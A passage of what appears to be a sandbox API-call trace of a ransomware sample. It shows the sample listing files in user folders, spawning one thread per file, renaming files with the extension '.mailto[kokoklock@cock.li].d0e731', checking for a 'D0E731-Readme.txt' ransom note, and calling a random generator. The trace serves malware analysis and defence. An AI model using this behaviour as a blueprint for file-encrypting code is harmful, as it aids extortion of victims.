nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x13ebfcb4, lpOverlapped=0x0 | out: lpBuffer=0x34230b8*, lpNumberOfBytesWritten=0x13ebfcb4*=0x8, lpOverlapped=0x0) returned 1 [0071.753] WriteFile (in: hFile=0x3a4, lpBuffer=0x13ebfccc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13ebfcb4, lpOverlapped=0x0 | out: lpBuffer=0x13ebfccc*, lpNumberOfBytesWritten=0x13ebfcb4*=0x4, lpOverlapped=0x0) returned 1 [0071.753] WriteFile (in: hFile=0x3a4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13ebfcb4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x13ebfcb4*=0x4, lpOverlapped=0x0) returned 1 [0071.753] WriteFile (in: hFile=0x3a4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x13ebfcb4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x13ebfcb4*=0x6c, lpOverlapped=0x0) returned 1 [0071.753] WriteFile (in: hFile=0x3a4, lpBuffer=0x34231a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13ebfcb4, lpOverlapped=0x0 | out: lpBuffer=0x34231a8*, lpNumberOfBytesWritten=0x13ebfcb4*=0x20, lpOverlapped=0x0) returned 1 [0071.753] WriteFile (in: hFile=0x3a4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13ebfcb4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x13ebfcb4*=0x4, lpOverlapped=0x0) returned 1 [0071.753] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34231a8) returned 1 [0071.753] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423018) returned 1 [0071.753] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34230b8) returned 1 [0071.753] CloseHandle (hObject=0x3a4) returned 1 [0071.754] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xba) returned 0x34320a0 [0071.754] wcscpy (in: _Dest=0x34320a0, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\ZKUdYR8dL5kjjAKB-xZg.jpg" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\ZKUdYR8dL5kjjAKB-xZg.jpg") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\ZKUdYR8dL5kjjAKB-xZg.jpg" [0071.754] wcscat (in: _Dest=0x34320a0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\ZKUdYR8dL5kjjAKB-xZg.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\ZKUdYR8dL5kjjAKB-xZg.jpg.mailto[kokoklock@cock.li].d0e731" [0071.754] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\ZKUdYR8dL5kjjAKB-xZg.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\zkudyr8dl5kjjakb-xzg.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\ZKUdYR8dL5kjjAKB-xZg.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\zkudyr8dl5kjjakb-xzg.jpg.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.755] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\ZKUdYR8dL5kjjAKB-xZg.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0071.755] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34320a0) returned 1 [0071.755] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\ZKUdYR8dL5kjjAKB-xZg.jpg", dwFileAttributes=0x20) returned 0 [0071.755] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x3479f88 [0071.755] wcscpy (in: _Dest=0x3479f88, _Source="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\" [0071.755] wcscat (in: _Dest=0x3479f88, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" [0071.755] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\d0e731-readme.txt")) returned 0x20 [0071.755] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0071.756] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd770) returned 1 [0071.756] RtlExitUserThread (Status=0x1) Thread: id = 483 os_tid = 0x1094 [0071.757] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347e030 [0071.757] wcscpy (in: _Dest=0x347e030, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" [0071.757] wcscat (in: _Dest=0x347e030, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" [0071.757] wcscat (in: _Dest=0x347e030, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\*") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\*" [0071.757] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342ca58 [0071.757] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\*", lpFindFileData=0x342ca58 | out: lpFindFileData=0x342ca58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45f7af50, ftCreationTime.dwHighDateTime=0x1d4c8ab, ftLastAccessTime.dwLowDateTime=0x6c797030, ftLastAccessTime.dwHighDateTime=0x1d4c9f7, ftLastWriteTime.dwLowDateTime=0x6c797030, ftLastWriteTime.dwHighDateTime=0x1d4c9f7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3433fe8 [0071.757] wcscmp (_String1=".", _String2=".") returned 0 [0071.757] FindNextFileW (in: hFindFile=0x3433fe8, lpFindFileData=0x342ca58 | out: lpFindFileData=0x342ca58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45f7af50, ftCreationTime.dwHighDateTime=0x1d4c8ab, ftLastAccessTime.dwLowDateTime=0x6c797030, ftLastAccessTime.dwHighDateTime=0x1d4c9f7, ftLastWriteTime.dwLowDateTime=0x6c797030, ftLastWriteTime.dwHighDateTime=0x1d4c9f7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.757] wcscmp (_String1="..", _String2=".") returned 1 [0071.757] wcscmp (_String1="..", _String2="..") returned 0 [0071.757] FindNextFileW (in: hFindFile=0x3433fe8, lpFindFileData=0x342ca58 | out: lpFindFileData=0x342ca58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43d0870, ftCreationTime.dwHighDateTime=0x1d4c714, ftLastAccessTime.dwLowDateTime=0x25c1a2b0, ftLastAccessTime.dwHighDateTime=0x1d4cc64, ftLastWriteTime.dwLowDateTime=0x25c1a2b0, ftLastWriteTime.dwHighDateTime=0x1d4cc64, nFileSizeHigh=0x0, nFileSizeLow=0x39b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="7zs5QnsWs0jJ.odp", cAlternateFileName="7ZS5QN~1.ODP")) returned 1 [0071.757] wcscmp (_String1="7zs5QnsWs0jJ.odp", _String2=".") returned 1 [0071.757] wcscmp (_String1="7zs5QnsWs0jJ.odp", _String2="..") returned 1 [0071.757] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x86) returned 0x33e3020 [0071.757] wcscpy (in: _Dest=0x33e3020, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" [0071.757] wcscat (in: _Dest=0x33e3020, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" [0071.757] wcscat (in: _Dest=0x33e3020, _Source="7zs5QnsWs0jJ.odp" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\7zs5QnsWs0jJ.odp") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\7zs5QnsWs0jJ.odp" [0072.852] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e3020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7b0 [0072.854] FindNextFileW (in: hFindFile=0x3433fe8, lpFindFileData=0x342ca58 | out: lpFindFileData=0x342ca58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e14be10, ftCreationTime.dwHighDateTime=0x1d4cd0e, ftLastAccessTime.dwLowDateTime=0xee6c9520, ftLastAccessTime.dwHighDateTime=0x1d4c733, ftLastWriteTime.dwLowDateTime=0xee6c9520, ftLastWriteTime.dwHighDateTime=0x1d4c733, nFileSizeHigh=0x0, nFileSizeLow=0x158de, dwReserved0=0x0, dwReserved1=0x0, cFileName="B1EA0bJEwsMaRgXKVN.doc", cAlternateFileName="B1EA0B~1.DOC")) returned 1 [0072.854] wcscmp (_String1="B1EA0bJEwsMaRgXKVN.doc", _String2=".") returned 1 [0072.854] wcscmp (_String1="B1EA0bJEwsMaRgXKVN.doc", _String2="..") returned 1 [0072.854] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x92) returned 0x33eb4f0 [0072.854] wcscpy (in: _Dest=0x33eb4f0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" [0072.854] wcscat (in: _Dest=0x33eb4f0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" [0072.854] wcscat (in: _Dest=0x33eb4f0, _Source="B1EA0bJEwsMaRgXKVN.doc" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\B1EA0bJEwsMaRgXKVN.doc") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\B1EA0bJEwsMaRgXKVN.doc" [0072.854] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33eb4f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x34c [0072.855] FindNextFileW (in: hFindFile=0x3433fe8, lpFindFileData=0x342ca58 | out: lpFindFileData=0x342ca58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe301b20, ftCreationTime.dwHighDateTime=0x1d4caf9, ftLastAccessTime.dwLowDateTime=0x457a6550, ftLastAccessTime.dwHighDateTime=0x1d4cc56, ftLastWriteTime.dwLowDateTime=0x457a6550, ftLastWriteTime.dwHighDateTime=0x1d4cc56, nFileSizeHigh=0x0, nFileSizeLow=0x1088b, dwReserved0=0x0, dwReserved1=0x0, cFileName="e2DpsmNnI Y.odp", cAlternateFileName="E2DPSM~1.ODP")) returned 1 [0072.855] wcscmp (_String1="e2DpsmNnI Y.odp", _String2=".") returned 1 [0072.855] wcscmp (_String1="e2DpsmNnI Y.odp", _String2="..") returned 1 [0072.855] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x84) returned 0x33e2840 [0072.855] wcscpy (in: _Dest=0x33e2840, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" [0072.855] wcscat (in: _Dest=0x33e2840, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" [0072.855] wcscat (in: _Dest=0x33e2840, _Source="e2DpsmNnI Y.odp" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\e2DpsmNnI Y.odp") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\e2DpsmNnI Y.odp" [0072.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e2840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x650 [0072.856] FindNextFileW (in: hFindFile=0x3433fe8, lpFindFileData=0x342ca58 | out: lpFindFileData=0x342ca58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb352420, ftCreationTime.dwHighDateTime=0x1d4c6fb, ftLastAccessTime.dwLowDateTime=0xd357b6d0, ftLastAccessTime.dwHighDateTime=0x1d4d420, ftLastWriteTime.dwLowDateTime=0xd357b6d0, ftLastWriteTime.dwHighDateTime=0x1d4d420, nFileSizeHigh=0x0, nFileSizeLow=0xf105, dwReserved0=0x0, dwReserved1=0x0, cFileName="eOORDUlzfUYzz-kxGtu.ods", cAlternateFileName="EOORDU~1.ODS")) returned 1 [0072.856] wcscmp (_String1="eOORDUlzfUYzz-kxGtu.ods", _String2=".") returned 1 [0072.856] wcscmp (_String1="eOORDUlzfUYzz-kxGtu.ods", _String2="..") returned 1 [0072.856] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x94) returned 0x33eab90 [0072.856] wcscpy (in: _Dest=0x33eab90, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" [0072.856] wcscat (in: _Dest=0x33eab90, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" [0072.856] wcscat (in: _Dest=0x33eab90, _Source="eOORDUlzfUYzz-kxGtu.ods" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\eOORDUlzfUYzz-kxGtu.ods") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\eOORDUlzfUYzz-kxGtu.ods" [0072.856] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33eab90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x654 [0072.857] FindNextFileW (in: hFindFile=0x3433fe8, lpFindFileData=0x342ca58 | out: lpFindFileData=0x342ca58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4492c8e0, ftCreationTime.dwHighDateTime=0x1d4cbb0, ftLastAccessTime.dwLowDateTime=0xe82b06e0, ftLastAccessTime.dwHighDateTime=0x1d4ca2d, ftLastWriteTime.dwLowDateTime=0xe82b06e0, ftLastWriteTime.dwHighDateTime=0x1d4ca2d, nFileSizeHigh=0x0, nFileSizeLow=0x17bef, dwReserved0=0x0, dwReserved1=0x0, cFileName="H76nbsmL.xls", cAlternateFileName="")) returned 1 [0072.857] wcscmp (_String1="H76nbsmL.xls", _String2=".") returned 1 [0072.857] wcscmp (_String1="H76nbsmL.xls", _String2="..") returned 1 [0072.857] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x347e930 [0072.857] wcscpy (in: _Dest=0x347e930, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" [0072.857] wcscat (in: _Dest=0x347e930, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" [0072.857] wcscat (in: _Dest=0x347e930, _Source="H76nbsmL.xls" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\H76nbsmL.xls") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\H76nbsmL.xls" [0072.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347e930, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x520 [0072.858] FindNextFileW (in: hFindFile=0x3433fe8, lpFindFileData=0x342ca58 | out: lpFindFileData=0x342ca58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47143750, ftCreationTime.dwHighDateTime=0x1d4c644, ftLastAccessTime.dwLowDateTime=0xa8b85740, ftLastAccessTime.dwHighDateTime=0x1d4d1eb, ftLastWriteTime.dwLowDateTime=0xa8b85740, ftLastWriteTime.dwHighDateTime=0x1d4d1eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Iek-", cAlternateFileName="")) returned 1 [0072.858] wcscmp (_String1="Iek-", _String2=".") returned 1 [0072.858] wcscmp (_String1="Iek-", _String2="..") returned 1 [0072.858] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6e) returned 0x3479bc8 [0072.858] wcscpy (in: _Dest=0x3479bc8, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" [0072.858] wcscat (in: _Dest=0x3479bc8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" [0072.858] wcscat (in: _Dest=0x3479bc8, _Source="Iek-" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-" [0072.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3479bc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x658 [0072.859] FindNextFileW (in: hFindFile=0x3433fe8, lpFindFileData=0x342ca58 | out: lpFindFileData=0x342ca58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bb5cd90, ftCreationTime.dwHighDateTime=0x1d4d573, ftLastAccessTime.dwLowDateTime=0x6e59f8f0, ftLastAccessTime.dwHighDateTime=0x1d4d1ab, ftLastWriteTime.dwLowDateTime=0x6e59f8f0, ftLastWriteTime.dwHighDateTime=0x1d4d1ab, nFileSizeHigh=0x0, nFileSizeLow=0xda64, dwReserved0=0x0, dwReserved1=0x0, cFileName="pSqVT.xls", cAlternateFileName="")) returned 1 [0072.859] wcscmp (_String1="pSqVT.xls", _String2=".") returned 1 [0072.859] wcscmp (_String1="pSqVT.xls", _String2="..") returned 1 [0072.859] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33cd070 [0072.859] wcscpy (in: _Dest=0x33cd070, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" [0072.859] wcscat (in: _Dest=0x33cd070, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" [0072.859] wcscat (in: _Dest=0x33cd070, _Source="pSqVT.xls" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\pSqVT.xls") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\pSqVT.xls" [0072.859] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cd070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x664 [0072.860] FindNextFileW (in: hFindFile=0x3433fe8, lpFindFileData=0x342ca58 | out: lpFindFileData=0x342ca58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44ba1e0, ftCreationTime.dwHighDateTime=0x1d4d09f, ftLastAccessTime.dwLowDateTime=0x8e722550, ftLastAccessTime.dwHighDateTime=0x1d4cb29, ftLastWriteTime.dwLowDateTime=0x8e722550, ftLastWriteTime.dwHighDateTime=0x1d4cb29, nFileSizeHigh=0x0, nFileSizeLow=0x5794, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pxl_a_n.xls", cAlternateFileName="")) returned 1 [0072.860] wcscmp (_String1="Pxl_a_n.xls", _String2=".") returned 1 [0072.860] wcscmp (_String1="Pxl_a_n.xls", _String2="..") returned 1 [0072.860] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7c) returned 0x347f348 [0072.860] wcscpy (in: _Dest=0x347f348, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh" [0072.860] wcscat (in: _Dest=0x347f348, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" [0072.860] wcscat (in: _Dest=0x347f348, _Source="Pxl_a_n.xls" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Pxl_a_n.xls") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Pxl_a_n.xls" [0072.860] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347f348, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x66c [0072.861] FindNextFileW (in: hFindFile=0x3433fe8, lpFindFileData=0x342ca58 | out: lpFindFileData=0x342ca58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44ba1e0, ftCreationTime.dwHighDateTime=0x1d4d09f, ftLastAccessTime.dwLowDateTime=0x8e722550, ftLastAccessTime.dwHighDateTime=0x1d4cb29, ftLastWriteTime.dwLowDateTime=0x8e722550, ftLastWriteTime.dwHighDateTime=0x1d4cb29, nFileSizeHigh=0x0, nFileSizeLow=0x5794, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pxl_a_n.xls", cAlternateFileName="")) returned 0 [0072.861] FindClose (in: hFindFile=0x3433fe8 | out: hFindFile=0x3433fe8) returned 1 [0072.861] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ca58) returned 1 [0072.861] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e030) returned 1 [0072.861] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e570) returned 1 [0072.861] RtlExitUserThread (Status=0x0) Thread: id = 484 os_tid = 0x1098 [0071.758] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\gfAAkZLyyggYVX.ots" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\gfaakzlyyggyvx.ots")) returned 0x20 [0071.758] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\gfAAkZLyyggYVX.ots", dwFileAttributes=0x20) returned 1 [0071.758] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\gfAAkZLyyggYVX.ots" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\gfaakzlyyggyvx.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7b0 [0071.758] GetFileSizeEx (in: hFile=0x7b0, lpFileSize=0x13fbfd90 | out: lpFileSize=0x13fbfd90*=85587) returned 1 [0071.758] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x14e4f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.758] ReadFile (in: hFile=0x7b0, lpBuffer=0x13fbfd64, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13fbfd60, lpOverlapped=0x0 | out: lpBuffer=0x13fbfd64*, lpNumberOfBytesRead=0x13fbfd60*=0x4, lpOverlapped=0x0) returned 1 [0071.759] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.759] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423180 [0071.759] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34231a8 [0071.759] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423018 [0071.759] NtQuerySystemTime (in: CurrentTime=0x13fbfd3c | out: CurrentTime=0x13fbfd3c*=132121176296504031) returned 0x0 [0071.759] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0x4105264c [0071.759] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0xed4de4f7 [0071.759] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0x794d0788 [0071.759] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0xb256090d [0071.760] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0x9574fe0d [0071.760] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0x631c823e [0071.760] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0xabdd6b64 [0071.760] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0x989daa5d [0071.760] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0x7a9e9789 [0071.760] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0xb24a5946 [0071.760] RtlRandom (in: 